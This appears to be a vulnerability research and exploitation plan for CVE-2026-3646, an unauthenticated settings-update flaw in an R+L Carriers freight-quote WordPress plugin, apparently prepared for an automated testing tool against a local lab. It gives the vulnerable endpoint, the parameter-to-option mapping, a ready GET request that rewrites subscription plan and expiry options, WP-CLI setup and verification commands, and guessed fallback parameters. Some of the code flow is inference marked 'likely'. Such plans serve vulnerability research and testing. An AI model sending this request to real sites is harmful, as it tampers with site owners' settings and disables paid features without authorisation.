Vulnerability Research Plan: CVE-2026-3646

1. Vulnerability Summary

The LTL Freight Quotes – R+L Carriers Edition plugin (up to version 3.3.13) contains an unauthenticated settings update vulnerability. The flaw exists in a standalone PHP file, en-hit-to-update-plan.php (located in the plugin directory), which serves as a webhook handler for the Eniture Technology licensing server.

Because this file is designed to be accessed by an external service, it fails to implement WordPress authentication (is_user_logged_in), authorization (current_user_can), or CSRF protection (nonces). An attacker can directly access this file and provide GET parameters that are subsequently used to update critical plugin options via update_option(), allowing for the modification of subscription plans, expiration dates, and the enabling/disabling of premium features.

2. Attack Vector Analysis

• Target Endpoint: [WP_URL]/wp-content/plugins/ltl-freight-quotes-rl-edition/en-hit-to-update-plan.php
• HTTP Method: GET (as specified in the vulnerability description and implied by the processing logic in update-plan.php).
• Authentication: None required (Unauthenticated).
• Parameters:
  • pakg_group: Maps to the rnl_quotes_packages_quotes_package option.
  • pakg_duration: Maps to the rnl_package_expire_days option.
  • expiry_date: Maps to the rnl_freight_package_expire_date option.
  • plan_type: Maps to the rnl_quotes_store_type option.
• Preconditions: The plugin must be installed and active.

3. Code Flow

1. Entry Point: A request is made to en-hit-to-update-plan.php.
2. WordPress Initialization: The standalone file likely includes wp-load.php (or a similar method) to access WordPress functions like update_option().
3. Input Processing: The file reads parameters from $_GET. Based on the logic seen in the related rnl_quotes_activate_hit_to_update_plan() function in update-plan.php (lines 92-108), it expects keys like pakg_group, pakg_duration, expiry_date, and plan_type.
4. Data Sink: The script calls update_option() for several keys:
   • update_option('rnl_quotes_packages_quotes_package', $_GET['pakg_group'])
   • update_option('rnl_package_expire_days', $_GET['pakg_duration'])
   • update_option('rnl_freight_package_expire_date', $_GET['expiry_date'])
   • update_option('rnl_quotes_store_type', $_GET['plan_type'])
5. Side Effects: The script likely calls en_check_rnl_plan_on_product_detail(), which updates eniture_plugin_14 (the feature capability map), potentially disabling features like "Dropship" and "Hazardous Material".

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce. The target is a standalone file acting as a webhook, and the vulnerability description explicitly states it lacks "nonce verification."

5. Exploitation Strategy

The goal is to modify the site's subscription status to a "Trial" plan with an expired date, demonstrating the ability to manipulate settings.

Step-by-Step Plan:

1. Target Identification: Confirm the location of the standalone file. It should be at /wp-content/plugins/ltl-freight-quotes-rl-edition/en-hit-to-update-plan.php.
2. Craft Payload: Construct a GET request that sets the plan to Trial (typically 0) and sets a specific expiration date.
3. Execution: Use the http_request tool to send the GET request.

HTTP Request:

GET /wp-content/plugins/ltl-freight-quotes-rl-edition/en-hit-to-update-plan.php?pakg_group=0&pakg_duration=0&expiry_date=2020-01-01&plan_type=0 HTTP/1.1
Host: localhost:8080

6. Test Data Setup

1. Plugin Installation: Install and activate ltl-freight-quotes-rl-edition version 3.3.13.
2. Initial State Configuration: Ensure some initial values are set so the change is observable.

   wp option update rnl_quotes_packages_quotes_package "premium"
   wp option update rnl_quotes_store_type "1"
   wp option update rnl_freight_package_expire_date "2030-12-31"
   

7. Expected Results

• The HTTP request should return a 200 OK (or potentially a blank screen if the script produces no output).
• The WordPress options table should be updated with the values provided in the GET parameters.
• Features depending on rnl_quotes_store_type should be disabled in the eniture_plugin_14 option.

8. Verification Steps

After sending the HTTP request, verify the changes using WP-CLI:

# Verify the primary plan option
wp option get rnl_quotes_packages_quotes_package
# Should return: 0

# Verify the store type (0 = Trial/Expired)
wp option get rnl_quotes_store_type
# Should return: 0

# Verify the expiry date
wp option get rnl_freight_package_expire_date
# Should return: 2020-01-01

# Verify the feature capability map updated by en_check_rnl_plan_on_product_detail()
wp option get eniture_plugin_14 --format=yaml
# Look for 'multi_dropship: 0' and 'hazardous_material: 0'

9. Alternative Approaches

If en-hit-to-update-plan.php is not directly in the plugin root, check common subdirectories such as:

• /wp-content/plugins/ltl-freight-quotes-rl-edition/includes/en-hit-to-update-plan.php (inferred)

If the parameters pakg_group etc. do not work, inspect the file (if possible) or try parameters named after the option keys themselves:

• ?rnl_quotes_packages_quotes_package=0&rnl_quotes_store_type=0 (inferred)

Another indicator of success is the "Trial Plan" notice appearing in the WooCommerce settings for R+L Freight under wp-admin/admin.php?page=wc-settings&tab=shipping&section=rnl_freight_shipping_class.